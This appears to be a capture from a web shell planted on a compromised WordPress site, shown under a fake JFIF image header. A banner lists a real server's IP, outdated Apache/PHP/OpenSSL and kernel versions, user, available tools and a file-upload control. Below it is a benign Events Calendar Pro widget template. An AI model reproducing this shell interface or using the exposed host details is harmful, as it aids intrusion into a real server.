????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.217 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/themes/Avada/tribe-events/pro/widgets/ |
Upload File : |
<?php
/**
* Events Pro List Widget Template
* This is the template for the output of the events list widget.
* All the items are turned on and off through the widget admin.
* There is currently no default styling, which is highly needed.
*
* Override this template in your own theme by creating a file at [your-theme]/tribe-events/pro/widgets/list-widget.php
*
* When the template is loaded, the following vars are set:
*
* @var string $start
* @var string $end
* @var string $venue
* @var string $address
* @var string $city
* @var string $state
* @var string $province
* @var string $zip
* @var string $country
* @var string $phone
* @var string $cost
* @var array $instance
*
* @package TribeEventsCalendarPro
*
*/
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
// Retrieves the posts used in the List Widget loop.
$posts = tribe_get_list_widget_events();
// The URL for this widget's "View More" link.
$link_to_all = tribe_events_get_list_widget_view_all_link( $instance );
// Check if any posts were found.
if ( isset( $posts ) && $posts ) :
foreach ( $posts as $post ) :
setup_postdata( $post );
do_action( 'tribe_events_widget_list_inside_before_loop' ); ?>
<!-- Event -->
<div class="<?php tribe_events_event_classes() ?>">
<?php tribe_get_template_part( 'pro/widgets/modules/single-event', null, $instance ) ?>
</div><!-- .hentry .vevent -->
<?php do_action( 'tribe_events_widget_list_inside_after_loop' ) ?>
<?php endforeach ?>
<p class="tribe-events-widget-link">
<a href="<?php esc_attr_e( esc_url( $link_to_all ) ) ?>" rel="bookmark">
<?php esc_html_e( 'View More…', 'tribe-events-calendar-pro' ) ?>
</a>
</p>
<?php
// No Events were found.
else:
?>
<p><?php printf( esc_html__( 'There are no upcoming %s at this time.', 'the-events-calendar' ), strtolower( tribe_get_event_label_plural() ) ); ?></p>
<?php
endif;
// Cleanup. Do not remove this.
wp_reset_postdata();